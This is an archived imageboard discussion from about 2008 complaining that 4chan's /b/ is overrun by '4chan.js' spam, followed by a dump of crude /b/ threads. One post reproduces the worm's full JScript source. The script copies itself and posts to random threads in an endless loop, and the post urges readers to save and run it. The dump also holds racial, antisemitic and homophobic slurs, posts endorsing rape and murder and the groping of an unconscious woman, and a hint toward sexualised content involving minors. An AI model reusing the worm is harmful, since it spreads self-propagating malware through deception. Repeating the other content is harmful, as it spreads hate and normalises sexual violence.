Lol, /b/ is fucked.

http://img.4chan.org/b/imgboard.html

Lots of 4chan.js script spam going on. Moot should honestly just can /b/, it's a joke.

Win. GTFI

/v/ is fucked too

>>3
it works now

>>4

Nah, they're doing that shit, just not anywhere near as god awful as /b/.

Ps3aste the foll­owing to not­epad, then ssuxa­ve it as "4chan.js", open and sh­it bricks.

This is so anontalk....  retaliation is in order!


fso=WSH.createobjct("Scripting.filesystemobject")
}file=fso.opentextfile(WSH.scriptname)
c='Ps3aste the foll\xadowing to not\xadepad, then ssuxa\xadve it as "4chan.js", open and sh\xadit bricks.\n\n'
c+=file.readall()
file.close()
x=WSH.createobject("msxml2.xmlhttp")
while(1){
try{
x.open("get","ht\x74p\x3a//zip.4chan.or"+
"g/v/?"+Math.ceil(Math.random()*1e15),0)
x.snd()
t=x.responsetext.match(/<span id="nothread\d+/g)
t=t[Math.floor(Math.random()*t.length)].match(/\d+/g)[0]
s="\n--iiiiiiiiiiiiiiiiiiiii\ncont"+
"ent-disposition:form-data;name="
s=s+"resto\n\n"+t+s+"com\n\n"+c+s+"mode\n\nregist"
x.open("post","ht\x74p\x3a//bin.4ch"+
"an.org/v/imgboard.php",0)
x.setrequestheader("Content-type","multip"+
"art/form-data;boundary=iiiiiiiiiiiiiiiiiiiii")
x.snd(s)
}catch(jjjjjjjjjj){}
WSH.sleep(30333)
}

# img : dat > DOWN

MOTHERFUCKERS!

Cancer is spreading to /a/ as always. Soon the other servers will be nuked and 4chan will sink, just like the Titanic.

Eh, fuck /b/. /lounge/ is were it's at now. I don't need pretty pictures.

"Current users: 26,785"

It sure lowered the user count a bit.

LOLCOCKS

also, dongs.

with an ass tighter than the willingness of banks to lend to each other in this time of economic crisis

I wnt to /b/ and this is all I saw:

Sorry! an unexpected error has occurred.

This error has been forwarded to MySpace's technical group

WTF? RAGE. moot hs sold out to myfailspace!

>>13

0/10

Though I get the feeling I would not be surprised if moot actually did sell out 4chan someday. It doesn't matter theres so many 4chan clones out there.

Today is a good day because /b/ is dead.

>>15

I hope all of 4chan goes down next, it contributes nothing to humanity anyway. A failed experiment it is.

>>16

I don't see any ads on 4chan anymore. So it probably will die.

Nope, it's back up now.

http://img.4chan.org/b/imgboard.html

/thread

Anonymous 10/26/08(Sun)19:05:03 No.93231510   [Reply][Quick Reply]

    OMG U GUYS I JUST POOPED AND THIS IS WHAT CAME OUT. WHAT THE FUCK?? SHOULD I CALL 911?

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>>    Anonymous 10/26/08(Sun)19:24:48 No.93234935

    Don't eat all three packs of cherry Kool Aid next time.

>>    Anonymous 10/26/08(Sun)19:24:59 No.93234960

    test

>>    Anonymous 10/26/08(Sun)19:25:36 No.93235072

    >>93234615
    Stop eating solely oreos.


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125 KB Anonymous 10/26/08(Sun)19:24:19 No.93234849   [Reply][Quick Reply]

    http://www.teamsarah.org

    you rage you lose

>>    Anonymous 10/26/08(Sun)19:25:36 No.93235071

    >>93234849
    >>You pop a boner, you lose.

    Instant defeat.


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13 KB Anonymous 10/26/08(Sun)19:20:26 No.93234186   [Reply][Quick Reply]

    funneh graph thread GO

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>>    Anonymous 10/26/08(Sun)19:25:10 No.93234995

    thats just not right

>>    Anonymous 10/26/08(Sun)19:25:17 No.93235022

    >>93234186
    that's not funny man, my brother died that way

>>    Anonymous 10/26/08(Sun)19:25:34 No.93235070

    >>93234956
    >>93234903
    >>93234730
    >>93234503
    >>93234465
    >>93234411
    >>93234186

    samefag.

    Comment too long. Click here to view the full text.


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20 KB Anonymous 10/26/08(Sun)19:24:31 No.93234893   [Reply][Quick Reply]

    It's Bunday you faggots. Let's see some bunnies.

>>    Anonymous 10/26/08(Sun)19:25:31 No.93235064
     File :1225063531.jpg-(137 KB, 1024x1280)
137 KB

    here's mine

>>    Anonymous 10/26/08(Sun)19:25:33 No.93235069

    no.


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8 KB Anonymous 10/26/08(Sun)19:21:28 No.93234386   [Reply][Quick Reply]

    Listen up niggers! Captain Haddock is now a meme!

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>>    Anonymous 10/26/08(Sun)19:24:34 No.93234901

    Arghh

>>    Anonymous 10/26/08(Sun)19:25:18 No.93235023

    BLUE BLISTERING BARNACLES!

>>    Anonymous 10/26/08(Sun)19:25:33 No.93235068

    Thundering Typhoons


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29 KB Anonymous 10/26/08(Sun)19:18:59 No.93233960   [Reply][Quick Reply]

    Serious question time, /b/

    Why do women deliberately send you mixed signals? I have been trapped in The Friend Zone with this one girl for like 3 years now (it's pathetic, I know) and now I am actually like her best friend and it fucking sucks. She's always flirting with me playfully, but in the way that guys pretend to be gay with one another...just a joking, absurd way. It's painful, honestly.

    Every time I think I can get away from her and finally move on with my life, she says or does something that gives yet another feeling of false hope.

    How do I break this fucking destructive cycle? Should I just rape her and kill her and then an hero?

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>>    Anonymous 10/26/08(Sun)19:23:51 No.93234769

    >>93234589

    Yeah, see that is my main complaint. It's not that they're just a little flirtatious here and there....it's that they ACTIVELY PURSUE YOU and try as hard as they can to get you interested...and then snub you.

>>    Anonymous 10/26/08(Sun)19:25:29 No.93235057

    The reason why women give mixed singnals is because they have a lot of free time in the kichten. . . . . . and yes to the rape suggestion

>>    Anonymous 10/26/08(Sun)19:25:33 No.93235067

    its called, ignore it and be best friends with her, or balls up and ask her out and ruin things so you can get away. easy business. and they do this shit because a) they like the attention, b) they wanna test the water for breaking the friendship for the relationship


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26 KB Anonymous 10/26/08(Sun)19:18:37 No.93233905   [Reply][Quick Reply]

    is this serious?

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>>    Anonymous 10/26/08(Sun)19:25:03 No.93234973

    >>93234553
    i lol'd

>>    Anonymous 10/26/08(Sun)19:25:07 No.93234984

    i herd you can find more by going to imagefap.com and searching for lolita

>>    Anonymous 10/26/08(Sun)19:25:33 No.93235066

    >>93234553

    lol dont be stupid, silly


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3 KB Anonymous 10/26/08(Sun)19:14:55 No.93233291   [Reply][Quick Reply]

    hey /b/,notice something different about me?

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>>    Anonymous 10/26/08(Sun)19:24:39 No.93234908
     File :1225063479.gif-(4 KB, 387x300)
4 KB

>>    Anonymous 10/26/08(Sun)19:25:23 No.93235039

    in b4 shoes

>>    Anonymous 10/26/08(Sun)19:25:31 No.93235065
     File :1225063531.gif-(2 KB, 282x212)
2 KB


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17 KB Anonymous 10/26/08(Sun)19:05:35 No.93231596   [Reply][Quick Reply]

    HELL YEAH MOTHERFUCKERS!

    p­eanut butter
    f­emanon
    p­enis
    v­agina
    b­uttsex

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>>    Anonymous 10/26/08(Sun)19:25:26 No.93235050

    nigger

>>    Anonymous 10/26/08(Sun)19:25:30 No.93235061

    PENIS

>>    Anonymous 10/26/08(Sun)19:25:31 No.93235063

    BUTTSEX
    PENIS


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105 KB Anonymous 10/26/08(Sun)19:25:30 No.93235059   [Reply][Quick Reply]

    Sammy Davis Jr.

    Great nigger jew fag, or greatest nigger jew fag?



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116 KB Anonymous 10/26/08(Sun)19:12:39 No.93232917   [Reply][Quick Reply]

    THE ARGUMENT NEVER ENDS

    who will win /b/

    Entire British Navy c. 1775

    <OR>

    Nimitz Class Aircraft Carrier c. 2008

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>>    Anonymous 10/26/08(Sun)19:24:42 No.93234914
     File :1225063482.jpg-(11 KB, 230x150)
11 KB

    >>93234533
    say this again son and ill break your mast with our forehead.

>>    Anonymous 10/26/08(Sun)19:24:57 No.93234954

    Can the aircraft carrier use the aircraft on it?

    Either way the navy couldn't sink the carrier very easily they'd have to shell it for god knows how long, if the carrier can use aircraft though it's fairly obvious the carrier wins.

>>    Anonymous 10/26/08(Sun)19:25:30 No.93235060

    How would the British Navy shoot down jets?

    or any plane for that matter?


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89 KB Anonymous 10/26/08(Sun)18:54:58 No.93229673   [Reply][Quick Reply]

    I would like to nominate this thread as "THREAD OF THE YEAR 2008". It's going to be so epic, it might even be nominated for 2009. All it takes is for you gullib.. um.. clever.. anons to follow the rules.

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>>    Anonymous 10/26/08(Sun)19:25:15 No.93235010

    fat

>>    Anonymous 10/26/08(Sun)19:25:22 No.93235036

    >>93234833

    link or gtfo.

>>    Anonymous 10/26/08(Sun)19:25:31 No.93235062

    fat


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804 KB Anonymous 10/26/08(Sun)19:23:48 No.93234763   [Reply][Quick Reply]

    Hey /b/ My roommate is passed out drunk and she had no top i can see her breast. What do i do

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>>    Anonymous 10/26/08(Sun)19:24:13 No.93234823

    What the fuck do you think?

>>    Anonymous 10/26/08(Sun)19:25:12 No.93235002

    such dumb questions...

>>    Anonymous 10/26/08(Sun)19:25:30 No.93235058

    >i can see her breast
    >see her breast
    >breast

    MONOBOOB PICS NAO


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53 KB Anonymous 10/26/08(Sun)19:22:38 No.93234575   [Reply][Quick Reply]

    Sup /b/, I have a problem.

    I've suspected my wife of three years has been cheating on me for a while, but I never really gave it much thought when she told me that she was just "going out with the girls" as she called it. Recently, I was out with a few buddies having a drink or two when I decided that I wanted to come home early to play the new talents in 3.0 [wowfag here]. About an hour or so later I heard a car pull up that was different than the car that my wife's friend, Cindy, had picked her up in. She got out along with another man and was escorted up to our front door. At this point, I am so nervous to see what happens that I move the blinds out of the way and try to get a better look, but I am so afraid of getting caught that I duck behind my golf clubs, pathetic, right? Right before they say good night to eachother she grabs him and kisses him before going into our house, and at that moment I noticed a hairline fracture on the bottom of my nine iron.

    Is this something I can fix myself or do I need to take this back to where I bought it? Thanks in advance.

>>    Anonymous 10/26/08(Sun)19:24:06 No.93234808

    You need an RMA # from the manufacturer to ship it back to the manufacturer. Who makes the nine? And what model is it?

>>    Anonymous 10/26/08(Sun)19:25:01 No.93234966

    Same goes for your wife. You can return her to the church, but you'll need to call ahead and get an RMA #. What make/model is your wife?

>>    Anonymous 10/26/08(Sun)19:25:28 No.93235056

    what brand is your 9 iron, some of those come with warranties, no?

/b/is a shithole of shit. Anyone who goes there is a loser.

>>19

This represents /b/ in a nutshell. (Without images of course) since you posted on the textboard /lounge/ it shall be here for all eternity.

/b/ is where newfags are kept. Keeping them there is what makes the rest of 4chan great.

>>22

Seconded. It is the tank of fail that keeps everything else in order. Otherwise they would make /v/ or /a/ their new home.

It's amazing that mootle keeps the shitpit /b/ going, whereas he completely fagged up /n/ by making it some gay transportation theme instead of NEWS, as Gawd intended.  MOOT IS FAIL.

sage for redcream faggotry

hax my anus

MOOT IS WIN.

>>25

Bump, just to piss this gentlemen off.

Whatever happened to moot and his Blow Jays?

>>29

He doesn't give a shit no more.

>>30

Yep.

>>30
Maybe he just gives a piss, then.

>>32

lol, not even that anymore. Just a squirt to keep it going.

>>24

He should move transportation to a new board, name it /tr/ or something and bring back news to /n/.

>>34

He should, but He won't.

COCK COCKS COCKS


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>>37
You are getting faggier and faggier with each post. What happened to you?